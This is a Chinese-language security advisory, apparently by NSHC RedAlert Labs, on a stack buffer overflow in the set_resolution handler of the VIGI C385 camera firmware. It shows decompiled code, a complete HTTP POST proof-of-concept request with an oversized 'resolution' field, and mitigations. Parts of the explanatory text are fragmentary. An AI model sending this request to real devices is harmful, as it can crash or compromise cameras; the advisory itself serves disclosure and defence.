set_resolution_18AAD8 函数使用 strcpy 将用户输入复制到缓冲区,但未进行长度校验,从而导致缓冲区溢出。
int __fastcall set_resolution_18AAD8(int a1, char a2)
{
const char *string_origin; // r5
const char *v4; // r4
int result; // r0
char v6[72]; // [sp+0h] [bp-A0h] BYREF
char v7[88]; // [sp+48h] [bp-58h] BYREF
memset(v6, 0, sizeof(v6));
memset(v7, 0, 72);
string_origin = jso_obj_get_string_origin(a2, (char)"secname");
v4 = jso_obj_get_string_origin(a2, (char)"resolution");
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
sub_1FE6BC((int)"/video/minor", (int)v7, 0x44u);
if ( !strcmp(string_origin, "main") )
{
result = strcmp(v4, &v6[29]);
if ( result ) // true if v4 is greater than &v6[29]
{
sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
strcpy(&v6[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/main", v6, 72);
return 0;
}
}
else if ( !strcmp(string_origin, "minor") )
{
result = strcmp(v4, &v7[29]);
if ( result )
{
sub_1FE6BC((int)"/video/minor", (int)v7, 0x48u);
strcpy(&v7[29], v4); // ⚠️ buffer overflow
sub_1FE804("/video/minor", v7, 72);
return 0;
}
}
else
{
msg_debug(3, "http_do_setResolution", 3137, "[HTTPD]set resolution param error.\n");
return -40209;
}
return result;
}
v6 缓冲区声明为 72 字节,但 strcpy 在 &v6[29] 位置执行。v7 缓冲区声明为 88 字节,但 strcpy 在 &v7[29] 位置执行。v4)在使用 strcpy 前未进行长度校验,导致缓冲区溢出。v6)和 59 字节(v7),但可以复制更长的字符串。stok 令牌)攻击者可以利用 /ds 端点的 set_resolution 功能发送恶意载荷。
POST /stok=9p73~f9L0fGs33wt3D3XDc)7u)!wt83f/ds HTTP/1.1
Host: 192.168.0.100
Content-Length: 3015
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Origin: https://192.168.0.100
Connection: close
{
"video": {
"set_resolution": {
"secname": "main",
"resolution": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
},
"method": "do"
}
本文档不包含可执行的利用代码。 以下截图展示了成功利用漏洞并建立反向 shell 连接的结果:

固件更新:将受影响设备更新至 3.1.1 Build 251124 Rel.50371n 或更高版本。
网络隔离:如有可能,将 VIGI C385 设备置于隔离的网络分段中。
访问控制:仅允许可信网络访问管理界面。
监控:监控异常网络流量或设备行为。
该漏洞由以下人员发现并分析:
来自 NSHC RedAlert Labs